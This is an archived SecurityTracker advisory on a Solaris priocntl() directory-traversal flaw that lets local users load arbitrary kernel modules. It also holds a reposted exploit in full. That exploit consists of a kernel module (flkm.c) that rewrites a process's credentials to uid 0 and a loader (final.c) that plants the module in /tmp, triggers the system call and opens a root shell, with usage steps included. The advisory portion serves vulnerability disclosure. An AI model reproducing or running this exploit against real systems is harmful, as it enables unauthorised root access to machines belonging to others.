SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   OS (UNIX)  >   priocntl Vendors:   Sun
Solaris priocntl() System Call Lets Local Users Grab Root Privileges
SecurityTracker Alert ID:  1005720
SecurityTracker URL:  http://securitytracker.com/id/1005720
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Nov 27 2002
Impact:   Execution of arbitrary code via local system, Root access via local system
Exploit Included:  Yes  

Description:   An input validation vulnerability was reported in the Solaris operating system priocntl() process system scheduler system call. A remote user can load arbitrary kernel modules with root privileges.

It is reported that the priocntl(2) system call fails to filter the user-supplied pc_clname argument to remove directory traversal characters ('../'). According to the report, priocntl() will load the specified module without checking the calling user's privileges. A local user can specify a relative path containing directory traversal characters (such as '../../../tmp/module') to cause priocntl() to load an arbitrary module from any directory on the system.

Some demonstration exploit code is available in the Source Message and at:

http://www.catdogsoft.com/S8EXP/

Impact:   A local user can load arbitrary kernel modules with root privileges.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.sun.com (Links to External Site)
Cause:   Input validation error

Message History:   This archive entry has one or more follow-up message(s) listed below.
(Sun Confirms) Re: Solaris priocntl() System Call Lets Local Users Grab Root Privileges
Sun has confirmed the flaw and is working on a fix.
(Sun Issues Workaround) Re: Solaris priocntl() System Call Lets Local Users Grab Root Privileges
Sun has described a workaround.
(Sun Issues Patches and T-Patches) Re: Solaris priocntl() System Call Lets Local Users Grab Root Privileges
Sun has issued patches and temporary patches.



 Source Message Contents

Subject:  Solaris priocntl exploit


** Moderator note:

Messages with links to technical details outside of the message are not approved.  
Because of the potential delay waiting for another submission, the original message
has been modified to include the details.  

Details follow:

Solaris's Got Big problem on System Call priocntl()

Description
syscall priocntl(2) is used as process scheduler control
it's declared as below:

long priocntl(idtype_t idtype, id_t id, int cmd, /* arg */ ...);

while set 'cmd' arg to PC_GETCID, priocntl()'s function is like below
(see ManPage 'man -s 2 priocntl')
"Get class ID and class attributes for a specific class
given class name. The idtype and id arguments are
ignored. If arg is non-null, it points to a structure
of type pcinfo_t. The pc_clname buffer contains the
name of the class whose attributes you are getting."

as it said, pc_clname points to a string specify the module.
priocntl() will load the module without any privilege check.
The module's name is a relative path, priocntl will search the module file
in only /kernel/sched and /usr/kernel/sched/ dirs.
but unfortunately, priocntl() never check '../' in pc_clname arg
we can use '../../../tmp/module' to make priocntl() load a module from anywhere

For more detail, read the sources.
flkm.c the module source
final.c the loader source

How to Use?

1.Extract release.tgz to a folder
2.use "isainfo -b" to know what platform is running
3.under 32-bit solaris, execute "./final"
under 64-bit solaris, execute "./final 64"

Any Question?
contact support@catdogsoft.com

** End Moderator note 

detailes on http://www.catdogsoft.com/S8EXP/

--------flkm.c-----------------------------
/*
 Writen By CatDog
 the module find the user's proccess's cred struct
 change it's owner uid to 0(root)
 this code can work properly in any conditions
*/
#include <sys/systm.h>
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/kmem.h>
#include <sys/errno.h>
#include <sys/proc.h>
#include <sys/user.h>
#include <sys/thread.h>
#include <sys/cred.h>
#include <vm/as.h>
#include <vm/seg.h>
#include <vm/seg_vn.h>

typedef unsigned int DWORD;

DWORD   ptree[20]={0xffffffff,0xffffffff,0xffffffff,0xffffffff,0xffffffff,0xffffffff,
                                 0xffffffff,0xffffffff,0xffffffff,
                                 0xffffffff,0xffffffff,0xffffffff,
                                 0xffffffff,0xffffffff,0xffffffff};
/*
 * This is the loadable module wrapper.
 */
#include <sys/modctl.h>

int _info(struct modinfo *modinfop)
{
    return -1;
}

int _init(void)
{
    proc_t *current,*pp;
    pid_t rec;
    int i,cnt;

    for(i=0;ptree[i]!=0xffffffff;i++);
    cnt=i;

cmn_err(CE_NOTE ,"Get Su: cnt=%d", cnt);

    current=curproc;
    while(current->p_pidp->pid_id!=0) current=current->p_parent;

    pp=current;

    for(i=0;i<cnt;i++) {
        pp=pp->p_child;
cmn_err(CE_NOTE ,"Get Su: search pid=%d", ptree[i]);
        while(pp!=0)  {
            if(pp->p_pidp->pid_id==ptree[i])  break;
            pp=pp->p_sibling;
        }
        if(pp==0) goto ERR;
    }

    if(pp!=0) {
        pp->p_cred->cr_ruid=0;
        pp->p_cred->cr_uid=0;
        cmn_err(CE_NOTE ,"Get Su: %d", pp->p_pidp->pid_id);
        cmn_err(CE_NOTE ,"Get Su: %d", pp->p_cred->cr_ruid);
        cmn_err(CE_NOTE ,"Get Su: %d", pp->p_cred->cr_uid);
    }

ERR:
    cmn_err(CE_NOTE ,"Get Su: not found");
    return -1;
}



--------end of flkm.c-----------------------


--------final.c-----------------------------
/*
 Writen By CatDog
 the module find the user's proccess's cred struct
 change it's owner uid to 0(root)
 this code can work properly in any conditions
*/

#include <stdio.h>
#include <sys/types.h>
#include <procfs.h>
#include <unistd.h>

#include <errno.h>
#include <sys/priocntl.h>
#include <sys/rtpriocntl.h>
#include <sys/tspriocntl.h>


#define OFFSET 0x2dc
#define OFFSET64 0x39c

pid_t getpppid(pid_t pid)
{
    	psinfo_t psinf;
    	int fd;
    	char buf[256];
    
    	sprintf(buf, "/proc/%d/psinfo", pid);
    	fd=open(buf,0);
	if(fd!=-1) {
		read(fd, &psinf, sizeof(psinfo_t));
		close(fd);
    	}

	return psinf.pr_ppid;
}

void Load(int m64)
{
    pcinfo_t pcinfo;
    if(!m64)
    	strcpy(pcinfo.pc_clname, "../../../tmp/flkm32");
    if(m64)
    	strcpy(pcinfo.pc_clname, "../../../tmp/flkm64");

	priocntl(0,getpid(),PC_GETCID,(caddr_t)&pcinfo);
}

main(int argc,char *argv[])
{
	pid_t pid;
	pid_t ptree[20], *pptree;
	int i,j,k;
	int fd;
	int m64=0;

	if(argc==2) {
		if(atoi(argv[1])==64) m64=1;
	}

	printf("is 64 bit: %d\n",m64);

	pid=getpid();
	memset(ptree, 0, 20*sizeof(pid_t));

	ptree[0]=pid;
	for(i=1;i<20;i++) {
		pid=getpppid(pid);
		if(pid==0) break;
		ptree[i]=pid;
	}
	pptree=(pid_t *)malloc((i+1)*sizeof(pid_t));

	k=0;
	for(j=19;j>=0;j--) {
		if(ptree[j]==0) continue;
		//printf("%d %x\n", ptree[j], ptree[j]);
		pptree[k]=ptree[j];
		k++;
	}
	pptree[k]=0xffffffff;

	if(!m64) system("cp -f flkm32 /tmp/flkm32");
	if(m64) mkdir("/tmp/sparcv9",0777);
	if(m64) system("cp -f flkm64 /tmp/sparcv9/flkm64");

	if(!m64) fd=open("/tmp/flkm32",2);
	if(m64)	fd=open("/tmp/sparcv9/flkm64",2);
	
	if(fd!=-1){
		if(!m64) lseek(fd, OFFSET, SEEK_SET);
		if(m64)	lseek(fd, OFFSET64, SEEK_SET);
		printf("%d bytes to write\n", i*sizeof(pid_t));
		k=write(fd, pptree, i*sizeof(pid_t));
		printf("%d bytes wroten\n", k);
		close(fd);
	}else{
		printf("err! open flkm error!\n");
		exit(-1);
	}
	free(pptree);

	Load(m64);
	printf("id=%d\n", k=getuid());

	if(!m64) {
		system("rm -fr /tmp/flkm32");
	}
	if(m64) {
		system("rm -fr /tmp/sparcv9");
	}

	if(k==0) {
		printf("SUCCESS! Enjoy RootShell!\n");
		execl("/bin/sh","sh",NULL);
	}else{
		printf("fail!\n");
	}
}


--------end of final.c-------------------------
University of Science and Technology of China



 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC